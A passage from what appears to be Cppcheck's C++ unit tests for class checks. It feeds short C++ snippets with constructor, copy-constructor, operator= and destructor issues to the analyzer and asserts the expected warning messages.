explicit Bar(T) {}\\n\"\n \"};\\n\"\n \"struct Baz {\\n\"\n \" explicit constexpr Baz(int) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Token;\\n\" // #11126\n \"struct Branch {\\n\"\n \" Branch(Token* tok = nullptr) : endBlock(tok) {}\\n\"\n \" Token* endBlock = nullptr;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Struct 'Branch' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct S {\\n\"\n \" S(std::initializer_list il) : v(il) {}\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"template\\n\" // #10977\n \"struct A {\\n\"\n \" template\\n\"\n \" A(Ts&&... ts) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Color {\\n\" // #7176\n \"public:\\n\"\n \" Color(unsigned int rgba);\\n\"\n \" Color(std::uint8_t r = 0, std::uint8_t g = 0, std::uint8_t b = 0, std::uint8_t a = 255);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\"\n \"[test.cpp:4:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\",\n errout_str());\n\n checkExplicitConstructors(\"template \\n\" // #13878\n \"struct S {\\n\"\n \" S(std::nullptr_t) {}\\n\"\n \" explicit S(T* p) : m(p) {}\\n\"\n \" T* m{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkDuplInheritedMembers(...) checkDuplInheritedMembers_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkDuplInheritedMembers_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkDuplInheritedMembers)();\n }\n\n void duplInheritedMembers() {\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : public Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:9:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" public:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\"\n \"[test.cpp:7:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base1'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int y;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown 'Base' class\n checkDuplInheritedMembers(\"class Derived : public UnknownBase {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6692\n checkDuplInheritedMembers(\"namespace test1 {\\n\"\n \" struct SWibble{};\\n\"\n \" typedef SWibble wibble;\\n\"\n \"}\\n\"\n \"namespace test2 {\\n\"\n \" struct SWibble : public test1::wibble {\\n\"\n \" int Value;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9957\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class Derived1: public Base {\\n\"\n \" public:\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:10:9]: (warning) The class 'Derived2' defines member variable with name 'i' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"template\\n\"\n \"struct BitInt : public BitInt { };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits;\\n\"\n \"}\\n\"\n \"template \\n\"\n \"struct function_traits\\n\"\n \" : public _impl::fn_traits> {};\\n\"\n \"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits\\n\"\n \" : public fn_traits {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10594\n checkDuplInheritedMembers(\"template struct A { bool a = true; };\\n\"\n \"struct B { bool a; };\\n\"\n \"template<> struct A<1> : B {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:6:9]: (warning) The struct 'D' defines member function with name 'g' also defined in its parent struct 'B'. [duplInheritedMember]\\n\",\n errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g(int) const;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {\\n\"\n \" struct T {\\n\"\n \" T() {}\\n\"\n \" };\\n\"\n \"};\\n\"\n \"struct T : S::T {\\n\"\n \" T() : S::T() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B { virtual int& get() = 0; };\\n\" // #12311\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" int& get() override { return i; }\\n\"\n \" const int& get() const { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\" // #12353\n \" public:\\n\"\n \" void One();\\n\"\n \" void Two();\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" void Two() = delete;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkCopyConstructor(...) checkCopyConstructor_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyConstructor_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings3, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings3, this);\n checkClass.copyconstructors();\n }\n\n void copyConstructor1() {\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) : p(f.p), c(f.c)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(f.p)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" F&operator=(const F&);\\n\"\n \" ~F();\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F(const F &f) {\\n\"\n \" p = f.p;\\n\"\n \" }\\n\"\n \" F(char *str) {\\n\"\n \" p = malloc(strlen(str)+1);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n \"[test.cpp:3] -> [test.cpp:7]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n , errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) :p(f.p)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\"\n \"[test.cpp:5] -> [test.cpp:10]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"\"\n , errout_str());\n\n checkCopyConstructor(\"class kalci\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" kalci()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" }\\n\"\n \" kalci(const kalci &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" d=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~kalci();\\n\"\n \" kalci& operator=(const kalci&kalci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,str);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,st);\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] -> [test.cpp:11]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string) {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:4]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" d=(char*)malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c;\\n\"\n \" const char *p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=str;\\n\"\n \" d=st;\\n\"\n \" c=(char *)malloc(strlen(string)+1);\\n\"\n \" strcpy(d,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=f.p;\\n\"\n \" d=f.d;\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(d,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E { E(E&); };\\n\" // non-copyable\n \"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E {};\\n\"\n \"class F : E {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" F(F& f);\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() : p(malloc(100)) {}\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n // #7198\n checkCopyConstructor(\"struct F {\\n\"\n \" static char* c;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor2() { // ticket #4458\n checkCopyConstructor(\"template \\n\"\n \"class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Vector() {\\n\"\n \" _M_finish = new _Tp[ 42 ];\\n\"\n \" }\\n\"\n \" Vector( const Vector<_Tp>& v ) {\\n\"\n \" }\\n\"\n \" ~Vector();\\n\"\n \" Vector& operator=(const Vector&v);\\n\"\n \" _Tp* _M_finish;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor3() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = delete;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = default;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The copy constructor is explicitly defaulted but the default copy constructor does not work well. It is recommended to define or delete the copy constructor. [noCopyConstructor]\\n\", errout_str());\n }\n\n void copyConstructor4() {\n checkCopyConstructor(\"class noncopyable {\\n\"\n \"protected:\\n\"\n \" noncopyable() {}\\n\"\n \" ~noncopyable() {}\\n\"\n \"\\n\"\n \"private:\\n\"\n \" noncopyable( const noncopyable& );\\n\"\n \" const noncopyable& operator=( const noncopyable& );\\n\"\n \"};\\n\"\n \"\\n\"\n \"class Base : private noncopyable {};\\n\"\n \"\\n\"\n \"class Foo : public Base {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor5() {\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public Copyable, public UnknownType {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public UnknownType, public Copyable {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor6() {\n checkCopyConstructor(\"struct S {\\n\"\n \" S() {\\n\"\n \" for (int i = 0; i < 5; i++)\\n\"\n \" a[i] = new char[3];\\n\"\n \" }\\n\"\n \" char* a[5];\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Struct 'S' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a operator= which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a destructor which is recommended since it has dynamic memory/resource management.\\n\",\n \"\",\n errout_str());\n }\n\n void deletedMemberPointer() {\n\n // delete ...\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { delete p; }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:19]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // free(...)\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { free(p); }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:17]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n }\n\n void noOperatorEq() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // defaulted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = default;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The operator= is explicitly defaulted but the default operator= does not work well. It is recommended to define or delete the operator=. [noOperatorEq]\\n\", errout_str());\n\n // deleted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = delete;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class deletes operator=\n checkCopyConstructor(\"struct F : NonCopyable {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noDestructor() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" C* c;\\n\"\n \" F() { c = new C; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" int* i;\\n\"\n \" F() { i = new int(); }\\n\"\n \" F(const F &f);\\n\"\n \" F& operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct Data { int x; int y; };\\n\"\n \"struct F {\\n\"\n \" Data* c;\\n\"\n \" F() { c = new Data; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n // defaulted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = default;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The destructor is explicitly defaulted but the default destructor does not work well. It is recommended to define the destructor. [noDestructor]\\n\", errout_str());\n\n // deleted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = delete;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal returns reference to this\n#define checkOpertorEqRetRefThis(...) checkOpertorEqRetRefThis_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqRetRefThis_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n checkClass.operatorEqRetRefThis();\n }\n\n void operatorEqRetRefThis1() {\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return b; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return b; }\");\n 